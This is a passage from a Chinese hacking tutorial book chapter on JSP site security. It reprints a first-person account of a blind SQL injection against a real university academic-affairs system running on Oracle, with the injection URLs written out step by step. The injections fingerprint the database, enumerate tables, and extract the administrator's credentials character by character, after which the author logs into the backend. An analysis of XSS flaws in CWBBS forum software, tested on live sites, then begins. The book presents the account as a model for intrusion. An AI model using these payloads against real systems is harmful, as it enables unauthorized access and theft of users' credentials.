第14章 JSP整站系统的安全性分析
14.1 Jsp+Orcale手工注入
14.2 分析著名JSP商务系统CWBBS安全性
从本章你可以学到如下几点:
1.Jsp+Orcale手工注入详细过程
2.JSP系统跨站漏洞详细分析
3.配置不当引起的敏感信息泄露问题
4.JSP系统上传漏洞分析与利用过程
前面两章分别为大家介绍了JSP的基础知识和JSP程序中常见的各种漏洞。相信大家都已经掌握了,不过在实践性还是不够强,所以本章就为大家演示如何从实际中来得到经验。第一个例子演示的是Jsp+Orcale手工注入的文章,在前面虽然提到了Orcale注入的工具,但不够详细,所以就用一篇Jsp+Orcale手工注入的文章来增加Orcale注入的一个空白,这样以后在遇到了后台数据库是Orcale时,就知道怎么去手工入侵了。Jsp+Orcale注入的文章是引用的由剑心写的《03 利用Jsp+Orcale注入再度杀入教务处》。而第二个例子《分析著名JSP商务系统CWBBS安全性》则是由我写的,教大家如何分析一个完整JSP系统,并从中找出漏洞,这样以后大家就知道怎么去分析JSP系统漏洞了。
14.1 Jsp+Orcale手工注入 返回
在Jsp+Orcale注入方面的技术文章目前还是比较少,一方面使用Orcale数据库的网站并不是太多并且大多数是大型的系统,安全系统非常高。所以一般能够入侵的人也不是太多,就算入侵成功了也不会写文章。因为都是大型系统,如果被公开了影响比较大,很多黑客也考虑自身安全根本不会公布出来。
不过由剑心写的《利用Jsp+Orcale注入再度杀入教务处》确非常好,不仅详细的讲解了Orcale数据库的注入技术,而且思路也非常清晰,所以,可以做为以后大家入侵Orcale数据库的网站的范例。下面就是该文章的内容:
利用Jsp+Orcale注入再度杀入教务处
大家可能记得上次我写过进入教务处的文章,但是想来想去还是觉得不完美,不只是没有得到网站管理的最高权限,而且前后花费的时间太长,并且是从网段的机器旁注进去的,实在不爽,既然我们是搞脚本的,那么是真的不能从80端口渗透么?于是就再次决定去试试了!
一、判断注入点的数据库类型
因为网站是Jsp+Unix架构的,权限也配置得很好,没有什么目录浏览之类的漏洞,再加上上次的测试也能确定没有什么上传方面的漏洞了。这么少的功能应该是比较安全了,那么剩下的就只能看看有没有注入方面的问题了。整个网站查询数据库的地方有很多,登陆的地方肯定是一个,但是测试了也是没有问题的,那么现在只能看看公告的地方了!主页上有如下一个公告:
Url:http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351
首先提交:
http:/
/fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and 1=1
正常返回如图14-1所示。
接着提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and 1=2
返回信息如图14-2所示。
图14-1 添加and 1=1返回正常
图14-2 添加and 1=2返回错误
嘿嘿,有了上面两个Url提交的结果就可以判断出是存在Sql注入漏洞的了,并且能确定是一个Int类型的注入点,因为它将我们的and 1=1和and 1=2也当作Sql语句处理了,无论是什么数据库,到这一步都说明我们能注射代码的哦!让我们继续吧!知道了存在注入就应该看看是什么类型的数据库了,直接加个单引号让他出错看看!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351'
返回跟图14-2一样的结果,是出错了,但是也可以知道服务器方面是做了错误屏蔽的,这样我们就不能直接得到数据库类型了,这难不倒我!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351/*jnc
返回还是如图14-2一样的结果,我们知道如果是Mysql的话,因为/*是注释字符,那么这个应该正常返回跟图14-1一样的结果,这里返回错误说明不应该是Mysql,那么继续判断吧!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351--jnc
返回如图14-3一样的结果,呵呵,跟图14-1差不多吧!这说明当前的数据库服务器是支持“--”注释字符的,而跟Jsp常用搭配的支持“--”注释字符的,也就Mssql和Oracle而已,接下来要判断数据库是Mssql还是oracle了,提交Url:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351;
返回如图14-4一样的结果,说明是不支持“;”分割的多句查询哦!我们知道Mssql是支持“;”多句查询的,那么这里就应该是Oracle了!不过还是提交个Url查询下Oracle的系统表看看是不是真是Oracle吧!Url如下:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from user_tables)>0--
哈哈,正常返回如图14-5所示,这下确定了这个注入点是Jsp+Oracle的int类型的注入点!
图14-3 支持--注释
图14-4 不支持;
图14-5 确定为Oracle的int类型的注入点
二、猜测后台存放管理员的用户密码的表列名
到这里就要调整下我们的注入思路了!从系统登陆的地方我们看到可以选择是什么类型的用户,如图14-6所示,这里我们关心的肯定是如何取得系统管理员的权限!如果我们知道了用户名和密码是放在什么表中就可以通过这个注入点进行猜测了!查看登陆页面的源代码发现了这两行代码:
ss="input_text" id="username" size="9">
一般的程序员在写程序的时候为了方便或者习惯,都是将列名做为变量传递的,这为我们黑盒测试带来了方便。Oracle数据库的注入不同于其他数据库,如Access和Mysql,它包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如user_tab_columns系统表就存储了用户的所有的表、列名,其中table_name表示的是系统里的表名,column_name里的是系统里存在的列名,我们就可以通过这些系统表来猜测系统的数据库结构了!提交如下连接:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from user_tab_columns where column_name like '%25PASSWORD%25')>0--
注意其中的%25是%的Url编码,通过这个语句就可以查询user_tab_columns系统表,看里面列名与password相似的记录的条数,注意列名要用大写表示哦!结果返回如图1类似的结果,说明系统里是含有password列的,将%25去掉再次提交返回如图1类似的结果,证实了我们的猜测!接着提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from user_tab_columns where column_name like '%25USERNAME25%')>0--
用相似的方法证明了username列的存在。接下来是判断表名了,提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from user_tab_columns where table_name like '%25ADMIN%25' and column_name like '%25USERNAME25%')>0--
返回错误,说明应该不存在一个名字里含有admin并且列名里含有USERNAME的表,接着判断下有没有名字里含有USER的目标表吧!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from user_tab_columns where table_name like '%25USER%25' and column_name like '%25USERNAME25%')>0--
嘿嘿,运气不错,还真有这样的表!看看有几个吧!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from user_tab_columns where table_name like '%25USER%25' and column_name like '%25USERNAME25%')>1--
这下出错了,看来只有一个这样的表哦!继续吧!看看这个表名是什么!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from user_tab_columns where table_name like '%25USER%25' and length(table_name)=4 and column_name like '%25USERNAME25%')>0--
这句是猜名字含有USER那么长度至少是4啦,提交后返回错误,说明表名不是USER,提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select coun
t(*) from user_tab_columns where table_name like '%25USER%25' and length(table_name)=5 and column_name like '%25USERNAME25%')>0--
正常返回啦,表名是5位哦?是什么呢?试试USERS吧!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from users)>0--
正常返回啦!嘿嘿,表名和列名都猜到了,现在来查询我们需要的东西吧!提交:
http://fuckjwc/hust//pub_message/message.jspfmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from users)>100--
晕!正常返回啦!表里的记录这么多啊!看来很可能这是学校的所有人的用户名字和密码都在这里呢!看看我的在不在里面吧!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from users where username='0207******')=1--
居然正常返回了,也就是说普通用户的信息是放到这个表里的!那么管理员的信息是不是在这个表里呢?去公告里看了看,发现有个zhaoyi的用户,用zhaoyi登陆教务管理员发现提示密码错误,看来是存在这个用户名的,并且属于教务管理员权限,提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from users where username='zhaoyi')=1--
正常返回,嘿嘿,这给了我一点点希望,既然教务管理员的信息是放到这个表里的那么系统管理员的信息不也可能放到这个表里么?但是它是如何来区分用户的类别的呢?这个时候我记起来了在登陆的地方有个选择类型的登陆表单,去查看源文件发现了这个utype变量和下面的代码:
系统管理员
嘿嘿,很有可能是通过utype这个变量来决定用户的权限的哦!并且根据编程人员的习惯很有可能utype=8代表的是系统管理员,让我们看看是不是有这个列吧!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(utype) from users)>0--
太让人难过了,返回信息还是如图14-2所示,也就是说不存在utype这个列,不过肯定是存在与这类似的一个列的,提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(type) from users)>0--
哈哈,正常返回了!看看我的type类型值是不是登陆表单处的1吧!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select type from users where username='0207******')=1--
很惊喜地发现我们的猜想是对的,我的type值是1,现在看看type值为8的人有几个吧!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from users where type=8
)=1--
果然符合系统管理员的身份,这样的用户只有一个,我们的目标也就明确了哦!
接下来是猜测管理员的用户名和密码,这里有个插曲拿来说下,也给大家一起讨论下。本来想偷懒用Union查询的,因为union查询要求系统前后查询的列数和列的类型都相同,所以首先提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 order by 23--
利用order猜测出了这个select查询语句的列数,然后就是艰苦的猜测列的类型了,提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4352 and 1=1 union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from users--
提交这个连接正常返回,因为NULL是可以匹配所有类型的变量的,然后就是按顺序从头到尾慢慢匹配每个列的类型。因为Oracle列有三个类型,数字型,字符型和日期型,所以分别用数字,字符和TO_DATE('2006','yyyy')替换,但是当所有的类型都匹配完成,提交Url:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4352 and 1=1 union select 111,222,333,444,'jnc1','jnc2',555,'jnc3','jnc4',666,'jnc4',777,'jnc5','jnc6','jnc7','jnc8',888,'jnc9',TO_DATE('2006','yyyy'),999,100,'jnc10','jnc11' from users where username='zhaoyi'--
正常返回,但是当我激动的将前面的and 1=1变成and 1=2的时候,郁闷的情形发生了,返回了如图14-2的情况,我对Oracle注入并不精通,有人知道解决的办法欢迎来手册指教!
三、得到后台管理员的用户密码
插曲讲完了继续我们的注入之旅吧!好在用户名和密码估计也不会太长,利用Oracle的几个字符函数如length()可以得到字段的长度,然后就可以利用substr()函数取得字符串的某一个特定的字符,最后为了猜测方便就用ascii()函数将字符转换成ascii码,就方便猜测了!构造的猜测语句如下:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4352 and (select length(username) from users where type>4)>1--
正常返回,用户名长度大于1
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4352 and (select length(username) from users where type>4)>2--
返回错误,用户名长度等于2
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4352 and (select ascii(substr(username,1,1)) from users where type>4)>97--
返回错误,应该第一位是数字
......//二分法大家都会了吧!
最后猜测出用户名字居然是15,先不吐血了,继续猜测密码!
用上面猜测用户名的办法提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4352 and (select length(passwor
d) from users where type>4)>10--
返回错误
......
长度为8
然后猜测密码吧:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4352 and (select ascii(substr(password,1,1)) from users where type>4)>97--
......
费了N长的时间终于把密码猜测出来了!密码为s8*****n!
去后台登陆试试!嘿嘿,果然是系统管理员呀!如图14-6和图14-7所示,看了看,也没有什么好玩的!还是得不到webshell,不过尝试了一次Oracle的注入,感觉还真不错!
图14-6 后台登陆
图14-7 进入后台
另外这个系统采用的是清华大学的一个教务管理程序,大家快去看看自己的教务处是不是采用的这种系统呵,不是学生的就不用看了!有什么问题欢迎到论坛讨论,我的ID是剑心。
编辑点评:Oracle的注入文章和工具在网上并不多见,这篇文章手工注入了Oracle网站,同时给出了注入原理和方法,可以给初学Oracle注入的读者一个感性的认识。
14.2 分析著名JSP商务系统CWBBS安全性 返回
CWBBS的中文名叫云网论坛,它是采用JSP环境开发一套系统。集中了论坛、CMS(网站内容管理系统)、博客、聊天室、商城、交友、语音灌水等于一体的门户式社区。这样功能非常全面的JSP系统在目前国内还是少见的,对于这个系统的更多内容大家可以去参考官方网站(https://www.doczj.com/doc/fc9074979.html,/)的详细介绍。目前非常多的网站使用这个系统作为自己的门户系统,用关键字“Powered by CWBBS”就可以搜索到使用这个系统的网站数目,为9330,如图14-8所示。这在国内的JSP系统中使用的比较多的一个系统,也是站长网极力推荐的一个JSP商务系统。
图14-8 使用CWBBS系统的网站
虽然这个系统功能非常的强大,但是存在一些安全问题,其中最为严重的要数脚本跨站漏洞。至于注入漏洞方面防御的比较好,下面我们就来分析这套系统所存在的漏洞代码吧,为了更好的增加实战性,这里我用使用这个系统的网络来做测试,我们自己不搭建环境了。
这个系统因为采用的是JSP+JavaBean+Servlet+MySQL架构的,很多代码分析起来是比较麻烦,难理解的地方我都会加上注释的。
一、 脚本跨站漏洞
这个系统出现问题最多的就是脚本跨站漏洞,很多参数如ID都进行了整型转换所以注入漏洞比较少。但是大部分地方都没有对输入代码进行转换,导致出现比较的脚本跨站漏洞,下面就给大家分析这些存在跨站漏洞的代码。
(1)、CMS跨站
CMS是用于网站的内容管理系统,它主要用于文章的发布,我们都知道现在不管是什么系统了都对文章有一个评论的功能。而这个评论没有对代码转换的全面的话,就会出现
跨站漏洞,而这里就是这样。CWBBS的CMS文章的评论也出现了跨站漏洞,问题出在了doc_show.jsp文件中,它是用于显示文章的,同时也支持评论。评论的页面如图14-9所示,因为“姓名”和“来自”输入框没有对数据进行转换,所以出现了跨站漏洞,如图14-10所示。
图14-9 评论页面
图14-10 跨站漏洞
我们来看看系统是如何处理这些代码的,先来看看客户端中评论表单的代码,如下所示: